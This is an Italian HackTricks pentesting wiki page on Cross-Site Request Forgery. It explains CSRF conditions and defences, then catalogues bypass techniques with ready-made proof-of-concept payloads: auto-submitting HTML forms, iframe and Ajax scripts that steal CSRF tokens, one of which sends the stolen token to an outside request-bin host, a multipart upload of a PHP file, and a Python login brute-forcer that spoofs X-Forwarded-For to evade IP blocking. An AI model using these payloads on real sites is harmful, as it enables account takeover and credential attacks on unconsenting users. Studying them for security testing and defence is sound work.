CSRF (Cross Site Request Forgery)
Reading time: 19 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Cross-Site Request Forgery (CSRF) Spiegato
Cross-Site Request Forgery (CSRF) è un tipo di vulnerabilità di sicurezza presente nelle applicazioni web. Permette ad un attacker di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che ha effettuato il login sulla piattaforma della vittima, visita un sito malevolo. Questo sito poi genera richieste verso l'account della vittima tramite metodi come l'esecuzione di JavaScript, l'invio di form o il recupero di immagini.
Requisiti per un attacco CSRF
Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizioni:
- Identificare un'azione di valore: l'attacker deve trovare un'azione che valga la pena sfruttare, come cambiare la password dell'utente, l'email o elevare privilegi.
- Gestione della sessione: la sessione dell'utente dovrebbe essere gestita esclusivamente tramite cookies o l'HTTP Basic Authentication header, poiché altri header non possono essere manipolati per questo scopo.
- Assenza di parametri imprevedibili: la richiesta non dovrebbe contenere parametri imprevedibili, poiché questi possono impedire l'attacco.
Controllo rapido
Puoi catturare la richiesta con Burp e verificare le protezioni CSRF; per testarla dal browser puoi cliccare su Copy as fetch e controllare la richiesta:
 (1) (1).png)
Difese contro CSRF
Possono essere implementate diverse contromisure per proteggere dagli attacchi CSRF:
- SameSite cookies: Questo attributo impedisce al browser di inviare i cookie insieme alle richieste cross-site. More about SameSite cookies.
- Cross-origin resource sharing: La CORS policy del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede di leggere la risposta dal sito vittima. Learn about CORS bypass.
- Verifica dell'utente: richiedere la password dell'utente o la risoluzione di un captcha può confermare l'intenzione dell'utente.
- Controllo dei Referrer o Origin Headers: validare questi header può aiutare a garantire che le richieste provengano da fonti fidate. Tuttavia, un craft accurato degli URL può bypassare controlli mal implementati, come:
- Usare
http://mal.net?orig=http://example.com
(l'URL termina con l'URL trusted) - Usare
http://example.com.mal.net
(l'URL inizia con l'URL trusted)
- Usare
- Modificare i nomi dei parametri: alterare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
- CSRF Tokens: incorporare un CSRF token unico per ogni sessione e richiedere questo token nelle richieste successive può mitigare significativamente il rischio di CSRF. L'efficacia del token può essere aumentata imponendo CORS.
Comprendere e implementare queste difese è cruciale per mantenere la sicurezza e l'integrità delle applicazioni web.
Bypass delle difese
From POST to GET (method-conditioned CSRF validation bypass)
Alcune applicazioni applicano la validazione CSRF solo su POST mentre la saltano per altri verbi. Un anti-pattern comune in PHP sembra:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
Se l'endpoint vulnerabile accetta anche parametri da $_REQUEST, puoi rieseguire la stessa action come richiesta GET e omettere completamente il CSRF token. Questo converte un'azione disponibile solo via POST in un'azione GET che riesce senza token.
Example:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Notes:
- Questo schema appare frequentemente insieme a reflected XSS quando le risposte vengono servite come text/html invece che application/json.
- Abbinarlo a XSS riduce notevolmente le barriere di sfruttamento perché puoi consegnare un singolo link GET che innesca il percorso di codice vulnerabile e evita completamente i controlli CSRF.
Mancanza del token
Le applicazioni potrebbero implementare un meccanismo per validare i token quando sono presenti. Tuttavia, si verifica una vulnerabilità se la validazione viene saltata del tutto quando il token è assente. Gli attaccanti possono sfruttare questo rimuovendo il parametro che trasporta il token, non solo il suo valore. Questo permette loro di eludere il processo di validazione e condurre efficacemente un Cross-Site Request Forgery (CSRF) attack.
CSRF token is not tied to the user session
Le applicazioni che non legano i CSRF token alle sessioni utente rappresentano un significativo rischio per la sicurezza. Questi sistemi verificano i token contro un pool globale invece di assicurarsi che ogni token sia vincolato alla sessione di origine.
Ecco come gli attaccanti lo sfruttano:
- Authenticate usando il proprio account.
- Obtain a valid CSRF token dal pool globale.
- Use this token in un attacco CSRF contro una vittima.
Questa vulnerabilità permette agli attaccanti di effettuare richieste non autorizzate per conto della vittima, sfruttando il meccanismo di validazione dei token inadeguato dell'applicazione.
Method bypass
Se la richiesta sta usando un metodo "strano" method, verifica se la funzionalità di override del metodo è attiva. Ad esempio, se sta usando un PUT puoi provare a usare un POST e inviare: https://example.com/my/dear/api/val/num?_method=PUT
Questo può funzionare anche inviando il parametro _method all'interno di una richiesta POST o usando gli headers:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Custom header token bypass
Se la richiesta aggiunge un custom header con un token come metodo di protezione CSRF, allora:
- Testa la richiesta senza il Customized Token e senza l'header.
- Testa la richiesta con un token di esatta stessa lunghezza ma diverso.
CSRF token is verified by a cookie
Le applicazioni possono implementare la protezione CSRF duplicando il token sia in un cookie che in un parametro della richiesta o impostando un cookie CSRF e verificando se il token inviato al backend corrisponde al cookie. L'applicazione valida le richieste controllando se il token nel parametro della richiesta corrisponde al valore nel cookie.
Tuttavia, questo metodo è vulnerabile agli attacchi CSRF se il sito web ha delle falle che permettono a un attaccante di impostare un cookie CSRF nel browser della vittima, come una vulnerabilità CRLF. L'attaccante può sfruttare ciò caricando un'immagine ingannevole che imposta il cookie, seguita dall'avvio dell'attacco CSRF.
Di seguito un esempio di come un attacco potrebbe essere strutturato:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
tip
Nota che se il csrf token è correlato con il session cookie questo attacco non funzionerà perché dovrai impostare la sessione della vittima sulla tua e quindi finirai per attaccare te stesso.
Cambiamento del Content-Type
Secondo this, per evitare le preflight requests usando il metodo POST, questi sono i valori Content-Type ammessi:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Tuttavia, nota che la logica del server può variare a seconda del Content-Type usato, quindi dovresti provare i valori menzionati e altri come application/json
,text/xml
, application/xml
.
Esempio (da here) di inviare dati JSON come text/plain:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
Bypassare le richieste preflight per i dati JSON
Quando si tenta di inviare dati JSON tramite una richiesta POST, usare Content-Type: application/json
in un form HTML non è direttamente possibile. Allo stesso modo, utilizzare XMLHttpRequest
per inviare questo tipo di contenuto avvia una richiesta preflight. Tuttavia, esistono strategie per aggirare potenzialmente questa limitazione e verificare se il server elabora i dati JSON indipendentemente dal Content-Type:
- Usare tipi di Content-Type alternativi: Utilizzare
Content-Type: text/plain
oContent-Type: application/x-www-form-urlencoded
impostandoenctype="text/plain"
nel form. Questo approccio verifica se il backend utilizza i dati indipendentemente dal Content-Type. - Modificare il Content-Type: Per evitare una richiesta preflight e al contempo far riconoscere al server il contenuto come JSON, puoi inviare i dati con
Content-Type: text/plain; application/json
. Questo non innesca una richiesta preflight ma potrebbe essere elaborato correttamente dal server se è configurato per accettareapplication/json
. - Utilizzo di file SWF/Flash: Un metodo meno comune ma praticabile consiste nell'usare un file SWF per aggirare tali restrizioni. Per una comprensione approfondita di questa tecnica, fai riferimento a this post.
Bypass controllo Referrer / Origin
Evitare l'header Referrer
Le applicazioni possono validare l'header 'Referer' solo quando è presente. Per impedire che il browser invii questo header, può essere utilizzato il seguente meta tag HTML:
<meta name="referrer" content="never">
Questo assicura che l'header 'Referer' venga omesso, potenzialmente bypassando i controlli di validazione in alcune applicazioni.
Regexp bypasses
Per impostare il nome di dominio del server nell'URL che il Referrer invierà all'interno dei parametri puoi fare:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
Bypass del metodo HEAD
La prima parte di this CTF writeup spiega che Oak's source code, un router, è configurato per handle HEAD requests as GET requests senza corpo di risposta — una soluzione comune non unica di Oak. Invece di un handler specifico che si occupa delle HEAD reqs, queste vengono semplicemente passate al GET handler ma l'app rimuove il corpo della risposta.
Quindi, se una GET request è limitata, puoi semplicemente inviare una HEAD request che verrà processata come una GET request.
Esempi di Exploit
Esfiltrazione CSRF Token
Se un CSRF token viene usato come difesa puoi provare a esfiltrarlo sfruttando una vulnerabilità XSS o una vulnerabilità di Dangling Markup.
GET using HTML tags
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Altri tag HTML5 che possono essere utilizzati per inviare automaticamente una richiesta GET sono:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
Richiesta GET da form
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Richiesta POST del form
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
Richiesta Form POST tramite iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Richiesta Ajax POST
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
multipart/form-data richiesta POST
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST request v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
Richiesta POST di un form all'interno di un iframe
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
Rubare il CSRF Token e inviare una POST request
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
Rubare CSRF Token e inviare una Post request usando un iframe, un form e Ajax
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
Rubare CSRF Token e inviare una richiesta POST usando un iframe e un form
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
Rubare il token e inviarlo usando 2 iframes
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF token con Ajax e inviare un post con un form
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
CSRF con Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
Il codice può essere usato per Brut Force un modulo di login usando un CSRF token (utilizza anche l'header X-Forwarded-For per provare a bypassare un possibile IP blacklisting):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Strumenti
Riferimenti
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.